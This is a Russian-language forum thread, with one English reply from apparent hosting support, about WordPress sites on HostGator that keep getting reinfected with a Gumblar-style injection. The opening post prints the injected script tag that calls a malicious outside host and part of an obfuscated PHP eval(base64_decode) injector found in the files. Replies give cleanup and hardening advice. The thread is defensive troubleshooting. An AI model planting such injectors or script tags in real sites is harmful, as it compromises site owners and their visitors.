SOS!!!В блогах и сайтах появляется вредный скрипт SOS!!!!

Всем привет Суть проблемы такова. На всех блогах и сайтах на одном аккуанте хостгатора, появляется код - <script src=http://ikwileencargobee.nl/images/index.php ></script> просмотрев файлы блогов на некоторых обнаружил эту хрень <?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnYnQ1MicpKXtmdW5jdGlvbiBidDUyKCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwp ==')); ?> (уменьшенная)
Удалив этот код из всех файлов злосчастный скрипт исчезает со страниц, но спустя какое-то время вся эта хрень появляется вновь. Замена пароля не помогает.
Хотелось бы узнать побольше о этой хрени и о том как предотвратить это всё

Ещё вопрос по ХостГатору – можно ли на нём ограничить доступ по IP через .ftpaccess (просто что-то не получается) и вообще как лучше защититься в такой ситуации.

Обнови скрипт на всех блогах очени может быть внем дыра
потому даже если ты заблочеш через .ftpaccess тебя серовно венисут

ps: убери с морды блога название и версию скрипта

не придумывай ничего ограничивать. какой двиг? скрипт только на морде? ищи дырку. а пока напиши чекалку которая будет по курлу забирать морды твоих сайтов, их парсить на предмет <script>(.*?)</script> и в браузер выдавать отчет со списком:
-сайт
--script:содержимое

и по крону гоняй раз в день

движок Wordpress - скрипт раставлен на всех страницах - даже на фрисайтах

http://www.securitylab.ru/search/index.php?q=Wordpress&where=iblock_vulnerability

вот здесь можеш посмотреть как кие дыры точно есть и обновица

ps: проверь все могли влить веб шел и через него хозяйничить

а как проверить веб шел?

Свой комп проверь на наличие вирусов. Смени FTP пароль с другого компа. Если не помогает стучи супорту или сам логи посмотри.

warik:
практически никак. сравнивая файло на предмет даты-размера-овнера.
но шелл тупо может лежать выше

Эта хрень есть и на другом акуанте дрогого хост-провайдера. Может правда вирус на компе, но ESET походу не видит. БЫЛО У КОГО ТАКОЕ?

Последний раз редактировалось: warik (23/07/10 в 16:29), всего редактировалось 1 раз

В таком случае явно у тебя бяка на компе. http://www.freedrweb.com/cureit/ - попробуй этим проверить.

у меня было такое. решилось сменой ВСЕХ паролей на фтп и перезаливкой файлов. эта хрень скорее всего не у тебя на компе.

А конкретнее о перезаливке. Какие файлы и как перезаливал?

Перезалить те файлы, где есть этот код.

я бы еще права и овнеров на файлах и папках посмотрел.
если править файлы юзер от которого работает апач не может, то имеют акк через фтп/ссх или вообще весь хост через ссх.

Heavy писал:

я бы еще права и овнеров на файлах и папках посмотрел.

Это первое, с чего надо начинать.

Hello,

This is a common Gumblar variant. http://en.wikipedia.org/wiki/Gumblar

I would recommend you follow these instructions before you type that password into your FTP program. Otherwise your site will immediately get infected again.

1. Use the following online vulnerability scanner and ensure your software is up-to-date: http://secunia.com/vulnerability_scanning/online/?task=load
2. Download anti-virus and fully scan your PC for malicious files. Here are some free online scanners for Windows, which is typically the most vulnerable to infection. If you have a different OS, there are similar programs that can
be located and run on your system to protect it in the same way:
MalwareBytes ( http://www.malwarebytes.org/ ) and
ComboFix ( http://www.bleepingcomputer.com/combofix/how-to-use-combofix ) have been reported to be able to clean a recent strain of malware that resists detection by almost all other anti-virus agents. It is highly suggested that you
one or both of them and one of the following:
-http://housecall.trendmicro.com/
-http://www.bitdefender.com/scan8/ie.html
-http://www.kaspersky.com/virusscanner
-http://support.f-secure.com/enu/home/ols.shtml
-http://www.eset.com
3. Update all passwords for any account that you access/own that may not be up to standards. Any passwords that have been compromised will need to be changed as well. Standards for secure passwords are available:
http://en.wikipedia.org/wiki/Password_strength#Guidelines_for_strong_passwords
4. Ensure that all scripts/plugins/modules/components are updated to the most recent released version, as new versions are released primarily to address known security vulnerabilities in these sites.
5. Keep your computer secure from malware infecting it. If your computer is compromised, your account can be compromised through your password being used to access it.
- Ensure you use the latest browser version; Ensure that said browser subscribes to Google's blacklist API (Mozilla Firefox, Google Chrome, Safari)
- Disable javascript
- Use the firefox addon noscript
- Make sure your antivirus has a subscription to new database and version releases. This may cost some amount of money, but is well worth the expense.
- Use http://www.avg.com.au/index.cfm?section=avg&action=onlinescan to test suspicious links you are given in emails or find online.
6. Ensure that all database configurations for your account are using a custom generated user and password combination, and that this information is not stored in plain text if this is feasible. Using your cPanel username and
password to access your databases for your site may be convenient, but it introduces an incredible security risk.
7. Audit your account for unnecessary scripts, such as file uploaders. Ensure that if they are necessary that they are password protected, or if that is not feasible that they check the file type before allowing upload, to prevent
upload of certain types of files.
8. Confirm that the permissions on the public_html folder is set to 750, as permissions of 755 will allow excessive amounts of malicious activity to the account.
9. Ensure that extended logging is enabled on your account so that any compromise can be investigated, as logs are regularly removed when statistics are run.


Thanks,